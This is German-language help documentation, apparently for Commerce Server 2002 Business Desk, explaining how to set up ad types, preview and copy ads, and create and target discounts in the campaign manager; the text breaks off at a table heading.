HTML-Anzeige

Eine HTML-Anzeige besteht aus HTML-Code. Den Benutzern wird Text angezeigt, der durch den HTML-Code dargestellt wird, wenn sie die Webseiten besuchen, auf denen die Anzeige platziert ist.

So richten Sie eine HTML-Anzeige ein

  • Führen Sie im Bereich Anzeigendarstellung folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie die gewünschte Anzeigengröße aus.
    Typ | Wählen Sie HTML aus.
    HTML-Text | Geben Sie den HTML-Text (in HTML-Format) ein, der in der Anzeige angezeigt werden soll.

Die Anzeige wird als HTML-Anzeige eingerichtet.

Nicht anzuklickende Bildanzeige

Bei einer nicht anzuklickenden Bildanzeige handelt es sich um eine grafische Abbildung, die den Benutzern angezeigt wird, wenn sie die Webseiten besuchen, auf denen die Anzeige platziert ist. Die Anzeige enthält keinen Link zu einer anderen Webseite.

So richten Sie eine nicht anzuklickende Bildanzeige ein

  • Führen Sie im Bereich Anzeigendarstellung folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie die gewünschte Anzeigengröße aus.
    Typ | Wählen Sie Nicht anzuklickendes Bild aus.
    Bild-URL Geben Sie den URL für das Bild ein, das in der Anzeige wiedergegeben werden soll.

    Hinweis

    Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.
    Alternativer Text | Geben Sie den alternativen Text ein, den ein Benutzer sieht, wenn auf seinem Computer keine Grafik aktiviert ist.

Die Anzeige wird als nicht anzuklickende Bildanzeige eingerichtet.

Jetzt-kaufen-Anzeige

Jetzt-kaufen-Anzeigen ermöglichen es Benutzern, Waren auf jeder beliebigen Webseite im Internet einzukaufen. Wenn ein Benutzer auf ein Produktbild klickt, wird ein Dialogfeld angezeigt, in das er Lieferadresse und Kreditkarteninformationen eingeben soll.

So richten Sie eine "Jetzt kaufen"-Anzeige ein

  • Führen Sie im Bereich Anzeigendarstellung folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie die gewünschte Anzeigengröße aus.
    Typ | Wählen Sie Jetzt kaufen aus.
    Bild-URL Geben Sie den URL für das Bild ein, das in der Anzeige wiedergegeben werden soll.

    Hinweis

    Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.
    Ziel-URL Geben Sie den URL ein, der mit der dargestellten Anzeige verknüpft ist.

    Hinweis

    Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.
    Alternativer Text | Geben Sie den alternativen Text ein, den ein Benutzer sieht, wenn auf seinem Computer keine Grafik aktiviert ist.
    Fensterbreite | Geben Sie die Breite der Anzeige in Pixel ein.
    Fensterhöhe | Geben Sie die Höhe der Anzeige in Pixel ein.

Die Anzeige wird als Jetzt-kaufen-Anzeige eingerichtet.

Windows Media Services-Anzeige

Bei Windows Media Services-Anzeigen handelt es sich um Anzeigen mit hochwertigen Audio- und Videosequenzen.

So richten Sie eine Windows Media Services-Anzeige ein

  • Führen Sie im Bereich Anzeigendarstellung folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie die gewünschte Anzeigengröße aus.
    Typ | Wählen Sie Windows Media Services aus.
    Windows Media Services-ASF | Geben Sie das Windows Media Services-ASF (Advanced Streaming Format) für die Anzeige ein.
    Ziel-URL Geben Sie den URL ein, der mit der dargestellten Anzeige verknüpft ist.

    Hinweis

    Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.

Die Anzeige wird als Windows Media Services-Anzeige eingerichtet.

Ausgerichtete Vignettenanzeige

Eine Vignettenanzeige besteht aus einem Bild und Text, der daneben angezeigt wird.

So richten Sie eine ausgerichtete Vignettenanzeige ein

  • Führen Sie im Bereich Anzeigendarstellung folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie die gewünschte Anzeigengröße aus.
    Typ Wählen Sie eine der Optionen Linke Vignette, Rechte Vignette oder Obere Vignette aus.

    Mit der Option Linke Vignette positionieren Sie die Anzeige links neben dem Text.

    Mit der Option Rechte Vignette positionieren Sie die Anzeige rechts neben dem Text.

    Mit der Option Obere Vignette positionieren Sie die Anzeige oberhalb des Textes.
    Bild-URL Geben Sie den URL für das Bild ein, das in der Anzeige wiedergegeben werden soll.

    Hinweis

    Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.
    Text | Geben Sie den Text ein, der neben der Anzeige angezeigt werden soll.
    Ziel-URL Geben Sie den URL ein, der mit der dargestellten Anzeige verknüpft ist.

    Hinweis

    Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.
    Alternativer Text | Geben Sie den alternativen Text ein, den ein Benutzer sieht, wenn auf seinem Computer keine Grafik aktiviert ist.

Die Anzeige wird als ausgerichtete Vignettenanzeige eingerichtet.

Siehe auch

Erstellen einer Anzeige

Festlegen von Inhaltsgrößen

Vorschau einer Anzeige

Veröffentlichen von Kampagnenänderungen in der Website


Vorschau einer Anzeige

Nach der Festlegung der Anzeigendarstellung können Sie die Anzeige in der Vorschau betrachten, bevor Sie sie in Ihrer Website veröffentlichen. Darüber hinaus können Sie eine Vorschau der Webseite anzeigen, die erscheint, wenn der Benutzer auf die Anzeige klickt, falls es sich um eine anklickbare Anzeige handelt.

Hinweis

  • Wenn Ihr Business Desk auf der SupplierAD-Lösungssite basiert und AuthFilter aktiviert ist, können Sie aufgrund des Authentifizierungscodes keine Bilddatei anzeigen. Zum Anzeigen einer Bilddatei in der Business Desk-Vorschau müssen Sie für alle Bilddateien, die im virtuellen Stammverzeichnis von Business Desk gespeichert sind, den anonymen Zugriff festlegen. Weitere Informationen zum Festlegen des anonymen Zugriffs finden Sie unter dem Thema "Aktivieren von AuthFilter für die Supplier-Lösungssite" in der Commerce Server 2002-Hilfe.

So zeigen Sie die Anzeige in der Vorschau an

So zeigen Sie die Webseite für die Anzeige an

So zeigen Sie die Anzeige in der Vorschau an

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Wählen Sie im Bildschirm Kampagnen-Manager die Anzeige mit dem Bild aus, das Sie in der Vorschau anzeigen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Geben Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Kampagnenartikel (Anzeigen-ID: Nummer) im Bereich Anzeigendarstellung die erforderlichen Informationen in die entsprechenden Felder ein, und klicken Sie dann auf Vorschau.
  4. Klicken Sie im Dialogfeld Vorschau auf Ja, um die Anzeige zu speichern.

Im Anzeigebereich unterhalb der Schaltfläche Vorschau wird eine Kopie der Anzeige angezeigt.

Informationen zum Einrichten des Anzeigentyps im Bereich Anzeigendarstellung finden Sie unter Einrichten eines Anzeigentyps.

So zeigen Sie die Webseite für die Anzeige an

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Wählen Sie im Bildschirm Kampagnen-Manager die Anzeige mit dem Bild aus, das Sie in der Vorschau anzeigen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Stellen Sie sicher, dass im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Kampagnenartikel (Anzeigen-ID: Nummer) im Bereich Anzeigendarstellung die erforderlichen Informationen in die entsprechenden Felder eingegeben sind, und klicken Sie dann auf die Anzeige unter der Schaltfläche Vorschau.

Die dieser Anzeige zugeordnete Webseite wird in einem neuen Internet Explorer-Fenster angezeigt. Mithilfe des Kampagnenveröffentlichungsmoduls können Sie eine Site aktualisieren, sobald Sie neue Informationen zu Ihrer Website hinzugefügt haben. Informationen zum Veröffentlichen von Änderungen in Ihrer Website finden Sie unter Veröffentlichen von Kampagnenänderungen in der Website.

Siehe auch

Erstellen einer Anzeige

Festlegen der Größe einer Anzeige

Einrichten eines Anzeigentyps

Veröffentlichen von Kampagnenänderungen in der Website


Kopieren einer Anzeige

Sie können eine bereits bestehende Anzeige kopieren, um so schnell und problemlos zusätzliche Anzeigen zu einer Kampagne hinzuzufügen. Wenn Sie eine bestehende Anzeige als Vorlage verwenden, können Sie deren Eigenschaften nach dem Kopieren so anpassen, dass die Anforderungen für den neuen Anzeigenkampagnenartikel erfüllt sind.

So kopieren Sie eine Anzeige

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Wählen Sie im Bildschirm Kampagnen-Manager die zu kopierende Anzeige aus, und klicken Sie dann auf der Symbolleiste auf Kopieren.
  3. Führen Sie im Dialogfeld Anzeige kopieren die folgenden Schritte aus:
    Funktion | Aktion
    Kunden auswählen | Wählen Sie in der Dropdownliste den Kunden aus, dessen Anzeige kopiert werden soll.
    Kampagne auswählen | Wählen Sie in der Dropdownliste die Kampagne aus, deren Anzeige kopiert werden soll.
  4. Klicken Sie auf OK.
  5. Geben Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Neu (Anzeige) im Feld Anzeigenname des Bereichs Anzeigeneigenschaften den Namen der neuen Anzeige ein.
  6. Bearbeiten Sie ggf. die weiteren Eigenschaften.
  7. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Anzeige zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Die neue Anzeige wird in der Baumstruktur des Kampagnen-Managers unterhalb des ausgewählten Kunden bzw. der ausgewählten Kampagne angezeigt.

Siehe auch

Erstellen einer Anzeige


Erstellen eines Preisnachlasses

Wenn Sie eine Kampagne erstellt haben, können Sie einen Preisnachlass erstellen. Bei einem Preisnachlass handelt es sich um einen Kampagnenartikel, den Sie für die Anwendung auf einen beliebigen Artikel bzw. eine beliebige Kategorie im Katalog erstellen. Beispielsweise können Sie in einem Computer-Hardwarekatalog einen 20-prozentigen Preisnachlass auf Artikel der Tastaturkategorie gewähren. Beim Erstellen eines Preisnachlasses legen Sie fest, auf welche Weise und mit welchem Erscheinungsbild der Preisnachlass dem Benutzer angezeigt wird.

Im Modul "Kampagnen-Manager" können Sie neue Preisnachlassartikel erstellen, den Zeitpunkt für die Anzeige der Preisnachlässe in der Site planen, den Geltungsbereich des Preisnachlasses für Produkte, Seitengruppen bzw. Zielgruppen festlegen und angeben, auf welche Weise der Preisnachlass angezeigt werden soll. Sie können den Preisnachlass auch so in der Vorschau anzeigen wie in der ausgewählten Website bzw. Seitengruppe.

Mithilfe von Zielausdrücken können Sie den Preisnachlass zielgerichtet an bestimmte Benutzer adressieren. So können Sie beispielsweise wichtige Sitebenutzer belohnen, indem Sie einen Preisnachlass von 10 % auf die beiden teuersten Artikel in ihrem Warenkorb gewähren. Sie können auch festlegen, wie oft ein bestimmter Preisnachlass einem Benutzer innerhalb einer Sitzung angezeigt werden kann. Nach dem Festlegen der Preisnachlassanzeige können Sie diese in der Vorschau anzeigen, bevor Sie sie im Modul "Kampagnen-Manager" speichern.

Wenn Sie Preisnachlässe in mehreren Sprachen verwenden möchten, müssen Sie für jede Sprache einen separaten Preisnachlass erstellen.

Hinweise

  • Unter Beispiele für Preisnachlässe finden Sie Beispiele, die das Erstellen unterschiedlicher Preisnachlasstypen veranschaulichen. Für jeden Preisnachlass werden dabei neben Business Desk auch die Preisnachlassergebnisse in den einzelnen Warenkörben angezeigt.
  • Alle an einem Preisnachlass vorgenommenen Änderungen müssen vor ihrer Anzeige in der Website in der Produktionssite veröffentlicht werden. Informationen zum Veröffentlichen von Änderungen in Ihrer Website finden Sie unter Veröffentlichen von Kampagnenänderungen in der Website.

Dieser Abschnitt beinhaltet folgende Themen:

  • Hinzufügen von Eigenschaften für Preisnachlasskampagnen
  • Zielgruppenadressierung eines Preisnachlasses und Festlegen der Bedingungen und Auszeichnungen
  • Zielgruppenadressierung eines Preisnachlasses an eine Seitengruppe und eine Zielgruppe
  • Festlegen der Preisnachlassanzeige
  • Vorschau auf die Preisnachlassanzeige
  • Kopieren eines Preisnachlasses


Hinzufügen von Preisnachlasseigenschaften

Beim Gewähren mehrerer Preisnachlässe auf den Warenkorb eines Benutzers können Sie die Reihenfolge der Preisnachlässe festlegen sowie das Anfangs- bzw. Enddatum für den Preisnachlass definieren. Ferner können Sie den Status des Preisnachlasses als aktiv oder inaktiv festlegen.

Die nachstehende Abbildung enthält ein interaktives Bildschirmabbild des Dialogfelds Preisnachlasseigenschaften. Wenn Sie auf die hervorgehobenen Komponenten des Dialogfelds Preisnachlasseigenschaften klicken, werden Informationen zu diesen Komponenten angezeigt.

Hinweis

  • Bevor Sie die Anzeige speichern können, müssen Sie die Preisnachlassanzeige einrichten. Informationen zum Einrichten der Preisnachlassanzeige finden Sie unter Festlegen der Preisnachlassanzeige.

So fügen Sie Eigenschaften für Preisnachlasskampagnen hinzu

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Blenden Sie im Bildschirm Kampagnen-Manager den Kunden ein, für den Sie den Preisnachlass erstellen möchten. Wählen Sie die Kampagne aus, für die Sie einen neuen Preisnachlass erstellen möchten, und klicken Sie auf der Symbolleiste auf Hinzufügen. Wählen Sie dann in der Dropdownliste den Eintrag Neuer Preisnachlass aus.
  3. Führen Sie im Bildschirm Kampagnen-Manager – Kundenname – Kampagnenname – Neu (Preisnachlass) im Bereich Preisnachlasseigenschaften folgende Schritte aus:
    Funktion | Aktion
    Preisnachlassname Geben Sie den Namen des Preisnachlasses ein.

    Hinweis

    • Beachten Sie beim Erstellen von Preisnachlässen in mehreren Sprachen, dass der Preisnachlassname auf 50 Zeichen begrenzt ist.
    Status Wählen Sie in der Dropdownliste den Status der Preisnachlasskampagne aus.

    Der Status kann entweder Aktiv oder Inaktiv sein.
    Gelöscht Schreibgeschütztes Feld.

    In diesem Feld wird angezeigt, ob der Preisnachlass gelöscht wurde. Weitere Informationen zum Löschen und Wiederherstellen von Kampagnenartikeln finden Sie unter Löschen und Wiederherstellen eines Kampagnenartikels.
    Priorität Wählen Sie in der Dropdownliste die Priorität des Preisnachlasses aus.

    Die Priorität des Preisnachlasses legt fest, welche Preisnachlässe auf den Warenkorb anzuwenden sind. Beispiel: Ein Preisnachlass mit der Priorität 10 wird vor einem mit der Priorität 20 angewendet.
    Kommentare | Geben Sie einen Kommentar ein, der sich auf diesen Preisnachlass bezieht.
    Anfangsdatum | Geben Sie das Anfangsdatum für den Preisnachlass ein oder wählen Sie es im Dropdownkalender aus.
    Beendigungsdatum | Geben Sie das Beendigungsdatum für den Preisnachlass ein oder wählen Sie es im Dropdownkalender aus.

Sie können nun den Preisnachlass definieren und das Preisnachlassziel festlegen. Informationen zum Definieren des Preisnachlasses und zur Festlegung des Preisnachlassziels finden Sie unter Zielgruppenadressierung eines Preisnachlasses und Festlegen der Bedingungen und Auszeichnungen.

Hinweis

  • Bevor Sie die Anzeige speichern können, müssen Sie die Preisnachlassanzeige einrichten. Informationen zum Einrichten der Preisnachlassanzeige finden Sie unter Festlegen der Preisnachlassanzeige.

Wichtig

  • Alle an einem Preisnachlass vorgenommenen Änderungen müssen vor dessen Anzeige in der Website in der Produktionssite veröffentlicht werden. Informationen zum Veröffentlichen von Änderungen in Ihrer Website finden Sie unter Veröffentlichen von Kampagnenänderungen in der Website.

Siehe auch

Beispiele für Preisnachlässe

Zielgruppenadressierung eines Preisnachlasses und Festlegen der Bedingungen und Auszeichnungen

Zielgruppenadressierung eines Preisnachlasses an eine Seitengruppe und eine Zielgruppe

Festlegen der Preisnachlassanzeige

Veröffentlichen von Kampagnenänderungen in der Website


Zielgruppenadressierung eines Preisnachlasses und Festlegen der Bedingungen und Auszeichnungen

Sie kennzeichnen das Produkt bzw. die Produktkategorie im Katalog, für die Sie den Preisnachlass gewähren möchten, und geben dann den Betrag für den Preisnachlass (als Währungsbetrag oder als Anzahl von Einheiten) an. Preisnachlässe lassen sich auf eine gesamte Bestellung (Preisnachlass auf Bestellebene) oder auf bestimmte Artikel der Bestellung (Preisnachlass auf Artikelebene) anwenden.

Die Preisnachlassdefinition wird festgelegt, indem Sie die Preisnachlassbedingungen sowie die Auszeichnungs- und Berechtigungsanforderungen einrichten. Mithilfe von Berechtigungsanforderungen wird festgelegt, welchen Benutzern der Preisnachlass gewährt wird.

Hinweis

  • Beispiele zum Einrichten von Preisnachlässen mit unterschiedlichen Bedingungen, Auszeichnungen und Berechtigungsanforderungen finden Sie unter Beispiele für Preisnachlässe. Für jeden Preisnachlass werden in den Beispielen neben der Preisnachlassdefinition in Business Desk auch die Preisnachlassergebnisse in den einzelnen Warenkörben angezeigt.

Wenn Sie nachstehend auf die hervorgehobenen Komponenten des Dialogfelds Preisnachlassdefinition klicken, werden Informationen zu diesen Komponenten angezeigt.

?????????

Hinweise

  • Bevor Sie die Anzeige speichern können, müssen Sie die Preisnachlassanzeige einrichten. Informationen zum Einrichten der Preisnachlassanzeige finden Sie unter Festlegen der Preisnachlassanzeige.

Wichtig

  • Alle an einem Preisnachlass vorgenommenen Änderungen müssen vor der Anzeige in der Website in der Produktionssite veröffentlicht werden. Informationen zum Veröffentlichen von Änderungen in Ihrer Website finden Sie unter Veröffentlichen von Kampagnenänderungen in der Website.

So legen Sie die Preisnachlassdefinition fest

  • Führen Sie im Bildschirm Kampagnen-Manager – Kundenname – Kampagnenname – Neu (Preisnachlass) im Bereich Preisnachlassdefinition folgende Schritte aus:
    Funktion | Aktion
    Kaufen: Alles Aktivieren Sie das Kontrollkästchen, wenn keine Berechtigungsanforderungen vorhanden sind. Wenn dieses Kontrollkästchen aktiviert ist und sich ein Produkt im Warenkorb befindet, auf das eine Auszeichnung anwendbar ist, wird der Preisnachlass stets gewährt. Weitere Informationen zur Kaufbedingung für einen beliebigen Artikel finden Sie unter Preisnachlassbedingungen.

    Lassen Sie dieses Kontrollkästchen deaktiviert, wenn der Preisnachlass für bestimmte Produkte oder Produktkategorien, die gekauft werden, gewährt werden soll, und befolgen Sie die weiteren Schritte in dieser Anleitung.
    Kaufen:
    • Feld "Typ": Wählen Sie den Typ der Bedingung Kaufen aus.

      Der Typ kann entweder Wert oder Menge sein. So kann der Benutzer für den Erhalt einer Auszeichnung beispielsweise 3 CDs kaufen (Menge) oder 40 Euro ausgeben (Wert).

    • Feld "Wert": Geben Sie – abhängig von der Option, die Sie für den Preisnachlass im Feld Typ ausgewählt haben – den Wert in Euro bzw. die Anzahl von Einheiten für den Preisnachlass ein.
    • Katalogausdruck: Wählen Sie in der Dropdownliste die Option aus, die auf diesen Preisnachlass zutrifft. Werte für dieses Feld sind Jedes Produkt, Produktauswahl und Ausdrucks-Generator.

      Jedes Produkt: Wählen Sie diese Option, wenn der Preisnachlass für jedes Produkt gelten soll, das gekauft wird.

      Produktauswahl: Wählen Sie diese Option, wenn der Preisnachlass beim Kauf eines bestimmten Produkts bzw. einer bestimmten Produktkategorie aus Ihrem Katalog gewährt werden soll. Mithilfe des Dialogfelds Produktauswahl können Sie bestimmte Produkte oder Kategorien in den Katalogen finden. Informationen über die Verwendung dieses Dialogfelds finden Sie unter Neu von der Produktauswahl.

      Oder

      Klicken Sie auf die Auslassungsschaltfläche […], oder wählen Sie die Option Ausdrucks-Generator, um das Dialogfeld Katalogausdrücke zu öffnen. Mithilfe von Katalogausdrücken können Sie ein Produkt bzw. eine Produktkategorie festlegen, für das/die der Preisnachlass beim Kauf gewährt wird. Weitere Informationen über das Erstellen von Katalogausdrücken finden Sie unter Erstellen eines Katalogausdrucks.

      Hinweise

      • Im Katalogausdrucks-Generator sind sowohl kumulative AND- als auch OR-Bedingungen zulässig. Allerdings wird bei Preisnachlässen nur die OR-Bedingung unterstützt. Die AND-Bedingung wird nicht unterstützt und darf daher nicht verwendet werden.
      • In der Dropdownliste werden zusätzliche Produkte und Kategorien angezeigt, falls sie vorher ausgewählt wurden.

    Informationen zu Preisnachlassbedingungen finden Sie unter Preisnachlassbedingungen.
    Abrufen: Ohne Frachtkosten Aktivieren Sie dieses Kontrollkästchen, um die Auslieferung ohne Frachtkosten als Preisnachlass auf alle bestellten Produkte zu gewähren.

    Lassen Sie das Kontrollkästchen Ohne Frachtkosten deaktiviert, um die Produkte und Produktkategorien festzulegen, die einen Preisnachlass erhalten, und befolgen Sie die weiteren Schritte in dieser Anleitung.

    Informationen zu der Preisnachlassauszeichnung "Ohne Frachtkosten" finden Sie unter Ohne Frachtkosten.
    Abrufen: Preisnachlass für die Zwischensumme der Bestellung Aktivieren Sie dieses Kontrollkästchen, um den Preisnachlass auf die Zwischensumme der Bestellung anzuwenden.

    Der Betrag der Zwischensumme verteilt sich auf die Einzelposten im Warenkorb.

    Informationen zu Preisnachlässen auf die Zwischensumme der Bestellung finden Sie unter Preisnachlass für die Zwischensumme der Bestellung.
    Abrufen
    • Zahl: Geben Sie die Anzahl der Einheiten des Katalogartikels an, die ein Benutzer erhält, wenn die Preisnachlassregeln erfüllt sind.
    • Katalogausdruck: Wählen Sie in der Dropdownliste die Option aus, die auf diesen Preisnachlass zutrifft. Werte für dieses Feld sind Jedes Produkt, Produktauswahl und Ausdrucks-Generator.

      Jedes Produkt: Wählen Sie diese Option, wenn der Preisnachlass sich auf jedes Produkt im Katalog bezieht.

      Produktauswahl: Wählen Sie diese Option, wenn der Preisnachlass sich auf ein bestimmtes Produkt oder auf eine bestimmte Kategorie im Katalog bezieht. Mithilfe des Dialogfelds Produktauswahl können Sie bestimmte Produkte oder Kategorien in den Katalogen finden. Informationen über die Verwendung dieses Dialogfelds finden Sie unter Neu von der Produktauswahl.

      Oder

      Klicken Sie auf die Auslassungsschaltfläche […], oder aktivieren Sie die Option Ausdrucks-Generator, um das Dialogfeld Katalogausdrücke zu öffnen. Durch Erstellen eines Katalogausdrucks können Sie festlegen, auf welche Kategorien und Produkte diese Auszeichnung angewendet werden soll. Weitere Informationen über das Erstellen von Katalogausdrücken finden Sie unter Erstellen eines Katalogausdrucks.

      Hinweise

      • Im Katalogausdrucks-Generator sind sowohl kumulative AND- als auch OR-Bedingungen zulässig. Allerdings wird bei Preisnachlässen nur die OR-Bedingung unterstützt. Die AND-Bedingung wird nicht unterstützt und darf daher nicht verwendet werden.
      • In der Dropdownliste werden zusätzliche Produkte und Kategorien angezeigt, falls sie vorher ausgewählt wurden.
    • Typ: Wählen Sie in der Dropdownliste die Maßeinheit für den Preisnachlass aus.

      Die Maßeinheit kann als Preis oder Prozent gewählt werden.

    • Wert: Geben Sie den Wert in Euro oder die Anzahl von Einheiten für den Preisnachlass ein, entweder nach Preis oder nach Prozent – je nach der für den Preisnachlass ausgewählten Option.

    Informationen zu Preisnachlassauszeichnungen finden Sie unter Preisnachlassauszeichnungen.
    Höchstwert Wählen Sie in der Dropdownliste einen Höchstwert für den Preisnachlass aus. Der Höchstwert Keiner gibt an, dass es für den Preisnachlass keinen Höchstwert gibt. Pro Warenkorb können höchstens 10 Preisnachlässe gewährt werden.

    Hinweis

    • Wenn Sie für die Anzahl von Auszeichnungen, die ein Benutzer auf mehrere Warenkörbe erhalten kann, eine Begrenzung festlegen möchten, wenden Sie sich an Ihren Siteentwickler.

    Informationen zu Höchstwerten von Preisnachlässen finden Sie unter Preisnachlassgrenzen.
    Angebot nur auf 'Produkt abrufen' anwenden Wählen Sie diesen getrennten Preisnachlass, wenn die Kaufbedingung nicht als Auszeichnung wiederverwendet werden soll.

    Informationen zu getrennten Preisnachlässen finden Sie unter Getrennte Preisnachlässe.
    Angebot auf 'Produkt abrufen' und 'Produkt kaufen' anwenden Wählen Sie diesen getrennten Preisnachlass, wenn die Kaufbedingung als Auszeichnung wiederverwendet werden soll.

    Informationen zu getrennten Preisnachlässen finden Sie unter Getrennte Preisnachlässe.
    Ein Klick auf 'Preisnachlass' ist erforderlich. Ein Preisnachlass wird nur angewendet, wenn auf die Preisnachlassanzeige geklickt wird. Aktivieren Sie dieses Kontrollkästchen, damit der Preisnachlass nur angewendet wird, wenn der Kunde auf die Preisnachlassanzeige klickt.

    Wenn kein Klick auf Preisnachlass erforderlich sein soll, dann lassen Sie dieses Kontrollkästchen deaktiviert.

    Hinweis

    • Siteentwickler können diesen Preisnachlasstyp für andere Zwecke erweitern. So können sie den Benutzern z. B. Coupons anbieten, die Voraussetzung sind, um den Preisnachlass zu erhalten.

    Informationen über "Klick erforderlich"-Preisnachlässe finden Sie unter "Klick erforderlich"-Preisnachlässe.
    Berechtigungsanforderungen: Ausdruck verfügbar | Wählen Sie in der Liste der verfügbaren Ausdrücke die gewünschten Ausdrücke für den Preisnachlass, und klicken Sie dann auf Hinzufügen. Sie können beispielsweise Zielausdrücke auswählen, die Sie gezielt für Benutzer oder Benutzergruppen angelegt haben, um diesen einen Preisnachlass zu gewähren. Informationen über das Erstellen eines Zielausdrucks finden Sie unter Erstellen eines Zielausdrucks.
    Preisnachlassinteraktionen:

    Wiederverwendung dieser Preisnachlassbedingungen als Bedingungen für andere Preisnachlässe zulassen

             Aktivieren Sie dieses Kontrollkästchen, wenn die Bedingungen für einen Preisnachlass als Bedingungen für einen anderen Preisnachlass wiederverwendet werden sollen.

    Informationen über Interaktionsrichtlinien für Preisnachlässe finden Sie unter Mehrfache Preisnachlässe.
    Preisnachlassinteraktionen:

    Verwendung der Auszeichnungen anderer Preisnachlässe auch für die Bedingungen dieses Preisnachlasses zulassen

             Aktivieren Sie dieses Kontrollkästchen, wenn die Bedingungen für einen Preisnachlass als Bedingungen für eine Auszeichnung wiederverwendet werden sollen.

    Informationen über Interaktionsrichtlinien für Preisnachlässe finden Sie unter Mehrfache Preisnachlässe.
    Preisnachlassinteraktionen:

    Wiederverwendung dieser Preisnachlassauszeichnungen als Bedingungen für andere Preisnachlässe zulassen.

             Aktivieren Sie dieses Kontrollkästchen, wenn die Bedingungen für eine Auszeichnung als Bedingungen für einen Preisnachlass wiederverwendet werden sollen.

    Informationen über Interaktionsrichtlinien für Preisnachlässe finden Sie unter Mehrfache Preisnachlässe.
    Preisnachlassinteraktionen:

    Verwendung der Auszeichnungen anderer Preisnachlässe auch für die Auszeichnungen dieses Preisnachlasses zulassen.

             Aktivieren Sie dieses Kontrollkästchen, wenn die Bedingungen für eine Auszeichnung als Bedingungen für eine andere Auszeichnung wiederverwendet werden sollen.

    Informationen über Interaktionsrichtlinien für Preisnachlässe finden Sie unter Mehrfache Preisnachlässe.

Damit sind die Preisnachlassbedingungen, Auszeichnungs- und Berechtigungsanforderungen für den Preisnachlass festgelegt.

Bevor Sie die Anzeige speichern können, müssen Sie die Preisnachlassanzeige einrichten. Informationen zum Einrichten der Preisnachlassanzeige finden Sie unter Festlegen der Preisnachlassanzeige.

Wichtig

  • Alle an einem Preisnachlass vorgenommenen Änderungen müssen vor dessen Anzeige in der Website in der Produktionssite veröffentlicht werden. Informationen zum Veröffentlichen von Änderungen in Ihrer Website finden Sie unter Veröffentlichen von Kampagnenänderungen in der Website.

Siehe auch

Beispiele für Preisnachlässe

Hinzufügen von Preisnachlasseigenschaften

Zielgruppenadressierung eines Preisnachlasses an eine Seitengruppe und eine Zielgruppe

Festlegen der Preisnachlassanzeige

Veröffentlichen von Kampagnenänderungen in der Website


Zielgruppenadressierung eines Preisnachlasses an eine Seitengruppe und eine Zielgruppe

Sie können bestimmen, ob ein Preisnachlass auf allen Seiten der Website oder nur auf den ihm zugeordneten Seitengruppen angezeigt wird. Über Seitengruppen kann festgelegt werden, auf welchen Webseiten ein Preisnachlass angezeigt wird. Handelt es sich bei Ihrer Website beispielsweise um eine Onlinezeitung, könnten Sie z. B. eine Anzeige für Golfschläger ausschließlich auf Seiten im Sportbereich platzieren.

Preisnachlässe können auf allen Seitengruppen angezeigt werden. Es ist jedoch auch möglich, aus den im Bereich Seitengruppen des Referenztabellenmoduls erstellten Seitengruppen eine oder mehrere Gruppen auszuwählen. Informationen über das Erstellen von Seitengruppen finden Sie unter Hinzufügen von Seitengruppen.

Hinweis

  • Damit ein Preisnachlass auf einer Seitengruppe angezeigt werden kann, müssen die entsprechenden Seiten vom Siteentwickler für Anzeigen aktiviert werden. Weitere Informationen zum Aktivieren einer Seite für Anzeigen finden Sie im Discount Sitelet-Beispiel im Commerce Server 2002 Software Development Kit.

Sie können auch die Zielgruppen festlegen, denen der Preisnachlass angezeigt werden soll. Bei Zielgruppen handelt es sich um eine Zusammenstellung von zwei oder mehreren Ausdrücken zur Zielgruppenadressierung einer bestimmten Benutzergruppe. Sie können Zielgruppen verwenden, um bestimmte Benutzer in einer Gruppe aufzunehmen und um andere Benutzer aus einer Gruppe auszuschließen. Informationen über das Erstellen von Zielgruppen finden Sie unter Erstellen einer Zielgruppe.

Hinweis

Beispiele zum Einrichten von Preisnachlässen mit unterschiedlichen Bedingungen, Auszeichnungen und Berechtigungsanforderungen finden Sie unter Beispiele für Preisnachlässe. Für jeden Preisnachlass werden in den Beispielen neben der Preisnachlassdefinition in Business Desk auch die Preisnachlassergebnisse in den einzelnen Warenkörben angezeigt.

  • Bevor Sie die Anzeige speichern können, müssen Sie die Preisnachlassanzeige einrichten.
  • Alle an einem Preisnachlass vorgenommenen Änderungen müssen vor dessen Anzeige in der Website in der Produktionssite veröffentlicht werden. Informationen zum Veröffentlichen von Änderungen in Ihrer Website finden Sie unter Veröffentlichen von Kampagnenänderungen in der Website.

So ordnen Sie einen Preisnachlass einer Seitengruppe zu

So ordnen Sie einen Preisnachlass einer Zielgruppe zu

So ordnen Sie einen Preisnachlass einer Seitengruppe zu

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager. Wählen Sie den Preisnachlass aus, für den Sie das Preisnachlassziel festlegen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  2. Führen Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Preisnachlasskampagnenartikel – (Preisnachlass-ID: Nummer) im Bereich Preisnachlassanzeigeziel folgende Schritte aus:
    Funktion Aktion
